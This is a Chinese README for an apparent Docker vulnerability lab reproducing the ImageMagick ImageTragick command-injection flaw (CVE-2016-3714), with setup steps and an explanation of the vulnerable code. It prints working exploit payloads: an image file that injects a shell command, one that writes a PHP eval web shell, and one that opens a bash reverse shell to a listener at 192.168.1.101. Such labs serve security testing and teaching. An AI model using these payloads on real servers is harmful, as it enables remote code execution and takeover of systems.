Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
..
Failed to load latest commit information.
src
Dockerfile
README.md
poc.py

README.md

ImageMagick 命令执行漏洞(CVE-2016–3714)环境

说明

感谢 @justkg 提供原始环境。

漏洞信息

5月3日,ImageMagick官方披露称,目前ImageMagick存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有攻击代码时,可被远程执行任意代码,进而导致攻击者控制服务器。

ImageMagick是一款开源图片处理库,支持 PHP、Ruby、NodeJS 和 Python 等多种语言,使用非常广泛。包括 PHP imagick、Ruby rmagick 和 paperclip 以及 NodeJS imagemagick 等多个图片处理插件都依赖它运行。

漏洞相关代码

ImageMagick 在 MagickCore/constitute.cReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用 InvokeDelegate。

MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。

99    "  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令

#if !defined(MAGICKCORE_HAVE_EXECVP)
  status=system(sanitize_command);
#else
  if ((asynchronous != MagickFalse) ||
      (strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
    status=system(sanitize_command);
  else
    {
      pid_t
        child_pid;

镜像信息

本镜像中提供了本地测试 PoC 和 远程测试 PoC

类型
开放端口 80
远程 PoC /poc.php

获取环境:

  1. 拉取镜像到本地
$ docker pull medicean/vulapps:i_imagemagick_1
  1. 启动环境
$ docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1

-p 8000:80 前面的 8000 代表物理机的端口,可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/

PoC 与 Exp 使用

本地测试

在容器中 /poc.png 文件内容如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

构建时已经集成在容器中,可手动修改第 3 行的命令。

在物理机上直接执行下面命令验证漏洞:

$ docker exec i_imagemagick_1 convert /poc.png 1.png

或进入 docker容器 shell 中执行:

$ convert /poc.png 1.png

如果看到 ls -al 命令成功执行,则存在漏洞。

远程命令执行测试

远程命令执行无回显,可通过写文件或者反弹 shell 来验证漏洞存在。

  1. 写一句话到网站根目录下:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")'
pop graphic-context
  1. 反弹 shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context

将上述两个 Exp 经过 base64 编码后发送到远程 poc.php,querystring 的 keyimg

也可修改 poc.py 后执行。